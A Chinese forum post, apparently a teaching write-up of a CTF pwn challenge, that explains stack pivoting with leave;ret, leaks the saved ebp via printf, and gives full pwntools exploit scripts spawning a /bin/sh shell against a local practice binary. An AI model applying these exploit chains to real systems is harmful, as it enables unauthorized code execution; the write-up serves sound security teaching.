leak ebp 与栈迁移

文档创建者:穆勇
浏览次数:57
最后更新:2025-09-15
本帖最后由 穆勇 于 2025-9-15 11:11 编辑
哈喽大家好,我是穆老师,给大家分享一道栈迁移 pwn 题。

题目来源:Polar 靶场《8字节能干什么》

拿到程序常规检查一下:

32 位小端序,开启 NX 保护


ida 反编译看主函数

跟进 vuln 函数


存在两次栈溢出,但是只有 8 字节,那么就可以覆盖 ebp 和返回地址

这种情况多半需要栈迁移了

我们可以将 rop 链写到栈上,再将栈劫持到我们写的地方就可以了

栈迁移的核心:

首先利用栈溢出将 ebp 覆盖为目标地址(也就是想迁移到哪里)

然后把返回地址 ret addr 覆盖为 leave;ret 指令的地址

这样我们可以执行两次 leave;ret

第一次,函数正常返回,执行 leave;ret

mov esp ebp 让两个指针处于同一位置(ebp)

pop ebp 会将 ebp 弹到我们覆盖的那个地址

接着 ret,返回到下一个 gadget

再次执行 leave;ret

mov esp ebp ,将 esp 也迁移到了 ebp 的位置

接着 pop ebp,将栈顶内容弹给 ebp,esp 指向下一个内存单元

如果我们提前在这个地址布好 system 函数的地址


最后执行 pop eip,system 函数地址进入 eip,就可以 getshell 了


关于打栈迁移的内存布局:



一些说明:

其中 aaaa 为垃圾数据,会被 pop 掉;

/bin/sh 共 7 字节,因此我们补一个\x00,放到两个内存单元,一个内存单元不够放;

下面的 padding 需要计算,我们后面说;

fake_ebp 为 aaaa 处的地址,也就是我们希望将 ebp 迁移到哪里的一个目标地址;

一般我们会迁移到一个提前布置好 system_plt_addr 的地方,前面的 aaaa 是第一次被 pop 掉;

leave_ret 就是随便找一个 leave_ret 指令的地址即可。

我们后面的 exp 就按照这个顺序填内容。

回到这道题:

发现存在后门函数,但是参数不对


首先我们利用 printf 泄露 ebp 地址

为什么要泄露这个我们后面说

printf("%s", (const char *)buf)

printf 打印字符串,参数是 %s,需要遇到 00 才停止打印

如果我们第一次 read 读入内容长度刚好是 0x30,也就是把前面的 buf 以及其他参数填充完

后面就是 ebp 的位置,ebp 的值一般不是 0

执行 printf 就可以把后面 ebp 的地址也打印出来

测试脚本:

不要用 sendline,会加换行符进去,就会覆盖掉实际原本的内容

from pwn import *
io = process('./pwn')
​
payload = cyclic(0x30)
io.send(payload)
out = io.recv()
print(out)

我们不随机生成字符,用特征字符结尾,这样接收特征字符后面的 4 字节就是 ebp 的地址了

from pwn import *
io = process('./pwn')
 
payload = b'a'*0x2c + b'b'*4
io.send(payload)
io.recvuntil(b'bbbb')
ebp_addr = u32(io.recv(4))
print(hex(ebp_addr))

这里的这个 ebp 是旧的 ebp,也就是 main 函数的 ebp

接下来我们计算 aaaa 处的地址,通过到 ebp 的偏移来获取:

这里 buf_addr 不能直接用在 ida 看到的那个地址:ebp-0x30(静态的)

得 gdb 动调看:断点下在第二次 read 的位置

输入 aaaa 观察它到 ebp 的距离:

0xd148 - 0xd108 = 0x40 (这个是值的偏移)

在动态运行时,需要 通过泄露的 EBP 计算 buf 的真实地址,才能正确构造 payload

下在第一次 read 的地方也可以

下面开始写 exp:

binsh_addr(注意这个是 /bin/sh 字符串的地址) 通过 ebp 的偏移来计算,这就是我们为什么需要泄露 ebp 地址了。

由于我们在填 binsh_addr 前已经填了 b'a'*4 + p32(system_addr) + p32(system_ret_addr)

还要再加自身 binsh_addr 也就是 4*4 = 16 字节

那么 binsh_addr = ebp-0x40+16

随便找一个 leave;ret 的地址

也可以用工具找:

ROPgadget --binary pwn --only "leave|ret"

padding 处的填充可以手动计算,也可以直接用 ljust 填充到 ebp 之前,这里就是 0x30

后面的两个 p32 分别就是填充的迁移地址(这里是 buf 起始地址)和 leave;ret 指令的地址

exp:

from pwn import *
io = process('./pwn')
 
payload = b'a'*0x2c + b'b'*4
io.send(payload)
io.recvuntil(b'bbbb')
ebp_addr = u32(io.recv(4))
print(hex(ebp_addr))
 
system_addr = 0x80483E0
binsh_addr = ebp_addr-0x40+16
buf_addr = ebp_addr-0x40
leave_ret_addr = 0x804858C
payload2 = (b'a'*4 + p32(system_addr) + p32(1) + p32(binsh_addr) + b'/bin/sh\x00').ljust(0x30,b'a') + p32(buf_addr) + p32(leave_ret_addr)
io.sendline(payload2)
 
io.interactive()

没有问题,可以打通










本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x

本版积分规则